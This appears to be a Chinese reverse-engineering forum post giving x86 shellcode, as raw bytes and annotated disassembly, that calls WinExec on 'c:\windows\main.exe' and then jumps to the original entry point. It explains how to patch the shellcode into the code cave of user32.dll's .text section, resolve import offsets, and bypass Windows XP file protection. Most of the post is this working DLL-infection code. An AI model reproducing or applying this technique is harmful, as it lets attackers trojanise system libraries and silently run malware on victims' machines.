Shellcode dd 0E8h
dd 0C0835800h, 0C083502Fh, 90FF5008h, 0
dd 0E850h, 0FF580000h, 90h, 0E8006A00h, 0
dd 21C18359h, 0E9D0FF51h, 0
aWinexec_0 db 'WinExec',0
aKernel32_dll db 'kernel32.dll',0
ZhanWeiFile db 'c:\windows\main.exe',0
上面是一段shellcode的代码,可以把这段代码插入到user32.dll文件的.text空隙中。只要空隙的大小有70h字节就足够了。另外里面用的GetModuleHandleA,GetProcAddress等函数地址,可以直接搜索user32.dll文件的导入表获得。只要把user32.dll加载到一个缓冲区就可以进行搜了。当然还要对xp的sfc进行突破。
这段shellcode码的作用就是在入口处执行,功能是执行一个ZhanWeiFile字符串描述的exe。
0012FF4C E8 00 00 00 00 call 0012FF51
0012FF51 58 pop eax
0012FF52 83 C0 2F add eax,2Fh
0012FF55 50 push eax ;"WinExec"
0012FF56 83 C0 08 add eax,8
0012FF59 50 push eax ;"Kernel32.dll"
0012FF5A FF 90 00 00 00 00 call dword ptr [eax + 0]
注意这里是距shellcode开头偏移10h的位置,将来把0偏移填充为GetModuleHandleA距离字符串"Kernel32.dll"的相对偏移。
0012FF60 50 push eax
0012FF61 E8 00 00 00 00 call 0012FF66
0012FF66 58 pop eax
注意这里是距shellcode开头偏移1ah
0012FF67 FF 90 00 00 00 00 call dword ptr [eax + 0]
注意这里的0偏移是距shellcode开头偏移1Dh的位置,将来把0偏移填充为GetProcAddress距离上面偏移(即shellcode开头偏移1ah)的相对偏移
0012FF6D 6A 00 push 0 //winexec参数1
0012FF6F E8 00 00 00 00 call 0012FF74
0012FF74 59 pop ecx
0012FF75 83 C1 21 add ecx,21h
注意这里偏移21h,正好指向字符串ZhanWeiFile
0012FF78 51 push ecx //winexec参数2
0012FF79 FF D0 call eax //winexec
0012FF7B E9 00 00 00 00 jmp 0012FF80 //跳到AddressOfEntry 。
注意 E9字节也即本行开头距shellcode开头偏移为2fh 。后面将会计算本行与AddressOfEntry的相对偏移,然后将这个相对偏移填充到30h的位置。
0012ff80 aWinexec_0 db 'WinExec',0
0012ff88 aKernel32_dll db 'kernel32.dll',0
0012ff95 ZhanWeiFile db 'c:\windows\main.exe',0
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)